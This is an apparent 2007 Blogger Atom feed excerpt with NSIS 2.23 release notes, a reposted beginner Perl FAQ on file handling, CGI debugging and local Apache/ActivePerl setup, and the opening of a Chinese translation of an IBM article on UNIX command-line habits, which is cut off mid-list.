href='http://www.blogger.com/feeds/17718390/posts/default/8123485543017532139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8123485543017532139'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/search-spam-hidden-counter-links.html' title='Search Spam: Hidden Counter Links'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-4852634940591577750</id><published>2007-02-12T17:50:00.000+08:00</published><updated>2007-02-12T17:49:59.999+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>Nullsoft Scriptable Install System 2.23 Released</title><content type='html'>&lt;span&gt;Nullsoft Scriptable Install System&lt;/span&gt;&lt;br /&gt;&lt;h3&gt;Release Name: &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=22049"&gt;2.23&lt;/a&gt;&lt;/h3&gt;download: &lt;a href="http://prdownloads.sourceforge.net/nsis/nsis-2.23-setup.exe?download"&gt;http://prdownloads.sourceforge.net/nsis/nsis-2.23-setup.exe?download&lt;/a&gt;&lt;br /&gt;&lt;p&gt; &lt;/p&gt;&lt;pre&gt;&lt;b&gt;Notes:&lt;/b&gt;&lt;br /&gt;NSIS 2.23 is released. This release fixes a couple of build problems and&lt;br /&gt;includes the usual collection of new features, bug fixes, improvements and&lt;br /&gt;translation updates.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;hr noshade="noshade"&gt;&lt;br /&gt;&lt;b&gt;Changes:&lt;/b&gt;&lt;br /&gt;Minor Changes&lt;br /&gt;&lt;br /&gt; * Fixed compiler crash on Mac OS X (patch #1611866)&lt;br /&gt; * Fixed deletion of start menu icons in NSIS installer on Vista (bug&lt;br /&gt;   #1611251)&lt;br /&gt;&lt;br /&gt;Utilities and Plug-ins&lt;br /&gt;&lt;br /&gt; * Fixed incorrect nsExec message handling in silent mode (bug #1605581)&lt;br /&gt; * Fixed System crash when System::Store is called on an empty private stack&lt;br /&gt;   (bug #1620178)&lt;br /&gt; * Fixed System crash with parenthesis in filename (bug #1616267)&lt;br /&gt; * Minor VPatch documentation enhancements (patch #1624292)&lt;br /&gt;&lt;br /&gt;Build System&lt;br /&gt;&lt;br /&gt; * Fixed build failures on mingw32 (bug #1610773)&lt;br /&gt; * Fixed build problems with MSVCTOOLKIT=yes&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-4852634940591577750?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://nsis.sourceforge.net/Main_Page' title='Nullsoft Scriptable Install System 2.23 Released'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/4852634940591577750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=4852634940591577750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/4852634940591577750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/4852634940591577750'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/nullsoft-scriptable-install-system-223.html' title='Nullsoft Scriptable Install System 2.23 Released'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-5854793737924113951</id><published>2007-02-12T14:20:00.000+08:00</published><updated>2007-02-12T13:26:32.412+08:00</updated><title type='text'>Perl Faq</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;b&gt;PART I&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;- &lt;b&gt;How do I delete a file using Perl?&lt;/b&gt;&lt;br /&gt;To delete files you use the unlink() function. Here are a few examples of how the unlink() function can be used:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 82px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;$cnt = unlink 'a', 'b', 'c';&lt;br /&gt;unlink @goners;&lt;br /&gt;unlink &lt;*.bak&gt;;&lt;br /&gt;unlink("/path/to/file.bak");&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;- &lt;b&gt;How do I delete a directory using Perl?&lt;/b&gt;&lt;br /&gt;To delete a directory you use the rmdir() function. Directories must be empty before they can be deleted.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;rmdir(DIRNAME)&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=fullpost&gt;&lt;br /&gt;-&lt;b&gt;How do I rename a file or directory using Perl?&lt;/b&gt;&lt;br /&gt;To rename a file or directory you use the rename() function.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;rename(OLDNAME,NEWNAME);&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;-&lt;b&gt;How do I CHMOD a file using Perl?&lt;/b&gt;&lt;br /&gt;To CHMOD (set file/folder permissions) you use the chmod() function. Some examples:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 66px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;chmod 0755, @executables;&lt;br /&gt;chmod 0644, filename;&lt;br /&gt;$cnt = chmod 0644, 'file1','file2','file3';&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;-&lt;b&gt;How Can I find Occurences in Lines Between Two Patterns Using Perl?&lt;/b&gt;&lt;br /&gt;Assuming the two patterns are START and END you can do something like this:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 98px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;open (FILE,"yourfile");&lt;br /&gt;while ( &lt;file&gt; ) {&lt;br /&gt;  push(@temp,$1) if (/START(.*?)END/gs);&lt;br /&gt;}&lt;br /&gt;close(FILE);&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;any occurences of a match will be stored in the @temp array in the above example.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you just wanted to print the lines that had the two patterns and not worry about what was between the patterns you can do something like this:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 98px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;open (FILE,"yourfile");&lt;br /&gt;while ( &lt;file&gt; ) {&lt;br /&gt;  print "$_\n" if (/START/ .. /END/);&lt;br /&gt;}&lt;br /&gt;close(FILE);&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;-&lt;b&gt;How can I know what's causing a 500 Internal Error Message?&lt;/b&gt;&lt;br /&gt;When you see the typical "500 Internal Server Error" message it's not much help at understandling what went wrong and is causing the script to crash and burn. To see a much better error message place this code at the beginning of your Perl script, but below the very first line of the script:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;use CGI::Carp qw(fatalsToBrowser);&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt; This will force Perl to display in your browser a more detailed description of what is causing your script to crash.&lt;br /&gt;&lt;br /&gt;You should use it when debugging problems but remove it or comment it out once your script is running properly.&lt;br /&gt;&lt;br /&gt;If you still get a 500 Internal Server Error after inserting that line just below the first line of your Perl script, which will look something like this:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;that generally means the very first line is the wrong path to Perl or there is a syntax error in that line. Make sure the line starts with a number sign, follwed by an exclamation:&lt;br /&gt;&lt;br /&gt;#!&lt;br /&gt;&lt;br /&gt;and check with your host that you are using the correct path to Perl.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;How Can I See a List of the Perl Modules Installed on My Server?&lt;/b&gt;&lt;br /&gt;This short script should work on just about any server to list the Perl modules installed on the server or your hosts server. It might take a moment to run and display so be patient if the list takes a few moments to display in your browser.**&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 322px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;#!/usr/bin/perl -w&lt;br /&gt;use CGI;&lt;br /&gt;use strict;&lt;br /&gt;use File::Find;&lt;br /&gt;my %list;&lt;br /&gt;my $q = new CGI;&lt;br /&gt;print $q-&gt;header();&lt;br /&gt;&lt;br /&gt;find (\&amp;wanted, @INC);&lt;br /&gt;&lt;br /&gt;sub wanted {&lt;br /&gt;  next if (/^\.{1,2}$/);&lt;br /&gt;  $list{$_} = $_  if -f &amp;&amp;amp; /\.pm$/;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;my @sorted = sort { lc($a) cmp lc($b) } keys %list;&lt;br /&gt;my $cnt = @sorted;&lt;br /&gt;print "$cnt unique modules found.&lt;br /&gt;&lt;br /&gt;";&lt;br /&gt;print "$_&lt;br /&gt;\n" for @sorted;&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt; ** this script is provided as-is, no warranty of fitness is expressed or implied. Install and use if you know how, I will not answer questions or provide support for the script.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;Should I always quote my "$variables"?&lt;/b&gt;&lt;br /&gt;In general it does no harm to quote your $variables, but its not good Perl programming practice to do so and most of the time is not necessary. When you double-quote your variables you force Perl to make them into strings (stingification), but they already are strings, why do it over again? Numbers do not have to be quoted unless you want them in a string context. Some examples to consider:&lt;br /&gt;&lt;br /&gt;$num = "123"; #BAD&lt;br /&gt;$num = 123; #GOOD&lt;br /&gt;&lt;br /&gt;somefunction("$num"); #BAD&lt;br /&gt;somefunction($num); #GOOD&lt;br /&gt;&lt;br /&gt;$word = 'a string of words';&lt;br /&gt;$copy = "$word"; #BAD&lt;br /&gt;$copy = $word; #GOOD&lt;br /&gt;&lt;br /&gt;print "$sentence"; #BAD&lt;br /&gt;print $sentence; #GOOD&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;also, if you double-quote an array when printing it Perl adds extra spaces, or blanks, between the array elements. This sometimes is handy but sometimes it's not.&lt;br /&gt;&lt;br /&gt;@array = `some_command`;&lt;br /&gt;print "@array"; #might not be what you expect&lt;br /&gt;print @array; #printed with no extra blanks&lt;br /&gt;&lt;br /&gt;OK, so double-quoting for the most part is not a big deal, but it's better to not quote variables when they shouldn't be quoted. Could save you some typing too.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;What does "Can't Find String Terminator "XXX" Anywhere Before EOF" error mean?&lt;/b&gt;&lt;br /&gt;This most often seems to happen when using the print command like this to print some output to the screen:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 66px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;print &lt;&lt;"EOF";&lt;br /&gt;Hello, my name is Kevin&lt;br /&gt;EOF&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt; The last line, EOF, which is the end of string terminator, must be flush against the left margin and no spaces or other characters should be to the right of it on the same line.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;How can I output my numbers with commas added?&lt;/b&gt;&lt;br /&gt;This subroutine will add commas to your numbers:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 98px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;sub commify {&lt;br /&gt;  local $_  = shift;&lt;br /&gt;  1 while s/^([-+]?\d+)(\d{3})/$1,$2/;&lt;br /&gt;  return $_;&lt;br /&gt;}&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;You call the subroutine where needed in your script, something like:&lt;br /&gt;&lt;br /&gt;$num = 16574.33 + 19983745.21;&lt;br /&gt;commify($num);&lt;br /&gt;print $num;&lt;br /&gt;&lt;br /&gt;This regex from Benjamin Goldberg will also add commas to numbers:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;s/(^[-+]?\d+?(?=(?&gt;(?:\d{3})+)(?!\d))|\G\d{3}(?=\d))/$1,/g;&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;** this one is quoted directly from the Perl 5.8.4 Documentation (perlfaq5 - Files and Formats)&lt;br /&gt;&lt;br /&gt;I will post more soon.&lt;br /&gt;&lt;br /&gt;Geoserv.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;PART II&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;- &lt;b&gt;How can I run/test Perl scripts on my Windows PC?&lt;/b&gt;&lt;br /&gt;Besides a Perl interpreter, you also need a web server software installed. If you're running Windows, I can tell you how to install Apache and ActivePerl, to run Perl on your own computer.&lt;br /&gt;&lt;br /&gt;First, download the Apache 2 binary distribution from apache.org. When the installer prompts you, set "Network Domain" and "Server Name" to localhost, and "Administrator's Email Address" to your own email addy. Choose the "Typical" setup mode, the default installation folder (C:\Program Files\Apache Group\) is good. When installation is finished, Apache should start automatically as a Windows service. You can check if it's working by going to &lt;a href="http://localhost/" target="_blank"&gt;http://localhost/&lt;/a&gt; (or if you prefer, &lt;a href="http://127.0.0.1/" target="_blank"&gt;http://127.0.0.1/&lt;/a&gt;) in your web browser. You can now save your files in the /htdocs directory inside the directory you installed Apache in, and access them through &lt;a href="http://localhost/filename" target="_blank"&gt;http://localhost/filename&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Then, download the ActivePerl package from &lt;a href="http://www.activestate.com/" target="_blank"&gt;www.activestate.com&lt;/a&gt;. Notice that registering is voluntary. Choose the newest build and Windows / MSI (a Windows installer package). When installing, leave the Custom Setup settings as they are, as well as the installation directory (C:\Perl\). In the next screen, leave "Enable PPM3 to send profile info to ASPN" unchecked. In the next screen, check both "Add Perl to the PATH environment variable" and "Create Perl file extension association". Then the installer will copy all files and generate the HTML documentation - generating the documentation will take a good while so just be patient.&lt;br /&gt;&lt;br /&gt;Now you have the Perl interpreter installed, and you can run Perl scripts in it, but to run them through your web browser (as CGI scripts), you still need to configure Apache a little. Go to the Windows start menu -&gt; Programs -&gt; Apache HTTP Server 2.0.xxx -&gt; Configure Apache Server -&gt; Edit the Apache httpd.conf Configuration File, and some code should open up in Notepad. Hit Ctrl+F or choose Edit -&gt; Find (in Notepad), type cgi-script and hit "Find Next". You should come to a line that says #AddHandler cgi-script .cgi. Uncomment it, i.e. remove the pound sign (#) from the beginning of it. Also set it to interpret .pl files as CGI scripts, so you have AddHandler cgi-script .cgi .pl. Then save the file and restart Apache from Start menu -&gt; Programs -&gt; Apache HTTP Server 2.0.xxx -&gt; Control Apache Server -&gt; Restart. You can now save your Perl scripts in the /cgi-bin directory, that is located in the same dir as /htdocs. You run them in your browser through &lt;a href="http://localhost/cgi-bin/filename.cgi" target="_blank"&gt;http://localhost/cgi-bin/filename.cgi&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;You will also have to use a different shebang line when running Perl scripts on your localhost server. Instead of the typicl web host server shebang line that is similar to this:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;you will use:&lt;br /&gt;&lt;br /&gt;#!/perl/bin/perl.exe&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;#!C:/perl/bin/perl.exe&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;#!perl&lt;br /&gt;&lt;br /&gt;whichever one works for your setup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you wish to be able to run Perl scripts from the /htdocs directory too, edit the httpd.conf file again (Start menu -&gt; Programs -&gt; Apache HTTP Server 2.0.xxx -&gt; Configure Apache Server -&gt; Edit the Apache httpd.conf Configuration File), hit Ctrl+F, and search for &lt;directory,&gt; (the path you see depends on where you installed Apache, that is the default installation directory). Everything below that until a closing &lt;/directory&gt; (reminds you of HTML doesn't it) are instructions for the /htdocs directory. Inside that block, find a line saying Options Indexes FollowSymLinks, amend it to Options Indexes FollowSymLinks ExecCGI, save the file and restart Apache (Start menu -&gt; Programs -&gt; Apache HTTP Server 2.0.xxx -&gt; Control Apache Server -&gt; Restart). You can now run your CGI scripts in /htdocs too.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the moment, only .cgi files are ran as CGI scripts, but you may want to run other extensions, such as .pl, .py, .tcl or .rb as CGIs too. Edit the httpd.conf configuration file again, find the line that says AddHandler cgi-script .cgi, change it to AddHandler cgi-script .cgi .pl (you can add as many extensions as you want), then save the file and restart Apache.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is still one thing you may want to edit; setting Apache to see index.cgi (and index.pl) as directory index files, just like index.html and index.htm are seen. Edit httpd.conf again, and find DirectoryIndex from the file. You should come to a line saying DirectoryIndex index.html index.html.var, amend it to DirectoryIndex index.html index.html.var index.cgi index.pl. You can also add index.htm to it, if you prefer the .htm extension to .html. Then save the file and restart Apache.&lt;br /&gt;&lt;br /&gt;- &lt;b&gt;Perl Programming and Memory Usage&lt;/b&gt;&lt;br /&gt;Here are some basic tips for keeping memory usage low.&lt;br /&gt;&lt;br /&gt;Don't do what is sometimes called "slurping" files:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 114px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;open (FILE,"yourfile");&lt;br /&gt;@data = &lt;file&gt;;&lt;br /&gt;foreach (@data) {&lt;br /&gt;  #do something&lt;br /&gt;}&lt;br /&gt;close(FILE);&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;this reads the entire file into memory. If its just a small file then its not really a big deal.&lt;br /&gt;&lt;br /&gt;But this is much better as far as memory consumption is concerned:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 98px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;open (FILE,"yourfile");&lt;br /&gt;while (&lt;file&gt;) {&lt;br /&gt;  #do something&lt;br /&gt;}&lt;br /&gt;close(FILE);&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;If you have files with thousands and thousands (or more) of lines you probably should be using a while loop.&lt;br /&gt;&lt;br /&gt;Use "grep" and "map" only when you really have to as they also slurp files into memory. You can probably use a while loop instead of "grep" or "map" in many situations.&lt;br /&gt;&lt;br /&gt;Don't use double-quotes when you don't need to.&lt;br /&gt;&lt;br /&gt;- &lt;b&gt;How Do I Check the Length of a String?&lt;/b&gt;&lt;br /&gt;To check the length of a string using Perl you use the length() function. Some examples:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 194px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;$name = 'Jennifer';&lt;br /&gt;&lt;br /&gt;$length = 8;&lt;br /&gt;if (length($name) &gt; $length) {&lt;br /&gt;print "Too long";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$num = length($name);&lt;br /&gt;if ($num &gt; 8) {&lt;br /&gt;print "Too long";&lt;br /&gt;}&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;- &lt;b&gt;How Do I Select a Random Element From an Array?&lt;/b&gt;&lt;br /&gt;To select a random element from an array using perl you use the rand function. Some examples:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 146px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;@DATA = qw(cat dog fish cow horse pig camel giraffe);&lt;br /&gt;&lt;br /&gt;#example 1&lt;br /&gt;$random_element = $DATA[int(rand @DATA)];&lt;br /&gt;&lt;br /&gt;#example 2&lt;br /&gt;$index = rand @DATA;&lt;br /&gt;$random_element = @DATA[$index];&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;if you are using a version of Perl older than 5.004 you must use srand() before trying to select a random element.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 178px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;srand():&lt;br /&gt;&lt;br /&gt;@DATA = qw(cat dog fish cow horse pig camel giraffe);&lt;br /&gt;&lt;br /&gt;#example 1&lt;br /&gt;$random_element = $DATA[int(rand @DATA)];&lt;br /&gt;&lt;br /&gt;#example 2&lt;br /&gt;$index = rand @DATA;&lt;br /&gt;$random_element = @DATA[$index];&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;you can only call srand() once per program.&lt;br /&gt;&lt;br /&gt;Perl version 5.004 and higher automatically calls srand() unless srand() has already been called.&lt;br /&gt;&lt;br /&gt;- &lt;b&gt;How Can I Determine the NUmber of Elements in an Array?&lt;/b&gt;&lt;br /&gt;To determine the number of elements in an array you assign the array to a scalar variable:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 66px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;@DATA = qw(cat dog fish cow horse pig camel giraffe);&lt;br /&gt;$number_of_elements = @DATA;&lt;br /&gt;print $number_of_elements;&lt;/div&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;$number_of_elements will equal 8 for the above example. $DATA[0] through $DATA[7] equals 8 elements.&lt;br /&gt;&lt;br /&gt;- [b]&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-5854793737924113951?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.dnlodge.com/programming/3996-perl-faq.html' title='Perl Faq'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/5854793737924113951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=5854793737924113951' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5854793737924113951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5854793737924113951'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/perl-faq.html' title='Perl Faq'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-5556566634672647778</id><published>2007-02-12T13:26:00.000+08:00</published><updated>2007-02-12T11:54:35.285+08:00</updated><title type='text'>UNIX 高手的 10 个习惯</title><content type='html'>&lt;blockquote&gt;&lt;p id="subtitle"&gt;&lt;em&gt;克服不良的 UNIX 使用模式&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#author"&gt;Michael Stutz&lt;/a&gt; (&lt;a href="mailto:stutz@dsl.org?subject=UNIX%20%E9%AB%98%E6%89%8B%E7%9A%84%2010%20%E4%B8%AA%E4%B9%A0%E6%83%AF"&gt;stutz@dsl.org&lt;/a&gt;), 作者, 顾问&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2007 年  2 月  09 日&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;采用 10 个能够提高您的 UNIX® 命令行效率的好习惯——并在此过程中摆脱不良的使用模式。本文循序渐进地指导您学习几项用于命令行操作的技术，这些技术非常好，但是通常被忽略。了解常见 错误和克服它们的方法，以便您能够确切了解为何值得采用这些 UNIX 习惯。 &lt;/blockquote&gt;&lt;!--START RESERVED FOR FUTURE USE INCLUDE FILES--&gt;&lt;!-- include java script once we verify teams wants to use this and it will work on dbcs and cyrillic characters --&gt;  &lt;!--END RESERVED FOR FUTURE USE INCLUDE FILES--&gt; &lt;p&gt;&lt;a name="intro"&gt;&lt;span class="atitle"&gt;引言&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;当您经常使用某个系统时，往往会陷入某种固定的使用模式。有时，您没有养成以尽可能最好的方式做事的习惯。有时，您的不良习惯甚至会导致出现混乱。 纠正此类缺点的最佳方法之一，就是有意识地采用抵制这些坏习惯的好习惯。本文提出了 10 个值得采用的 UNIX 命令行习惯——帮助您克服许多常见使用怪癖，并在该过程中提高命令行工作效率的好习惯。下面列出了这 10 个好习惯，之后对进行了更详细的描述。&lt;/p&gt;  &lt;p&gt;&lt;a name="list"&gt;&lt;span class="atitle"&gt;采用 10 个好习惯&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;要采用的十个好习惯为： &lt;/p&gt;   &lt;ol&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#one"&gt;在单个命令中创建目录树&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#two"&gt;更改路径；不要移动存档&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#three"&gt;将命令与控制操作符组合使用&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#four"&gt;谨慎引用变量&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#five"&gt;使用转义序列来管理较长的输入&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#six"&gt;在列表中对命令分组&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#seven"&gt;在 &lt;code&gt;find&lt;/code&gt; 之外使用 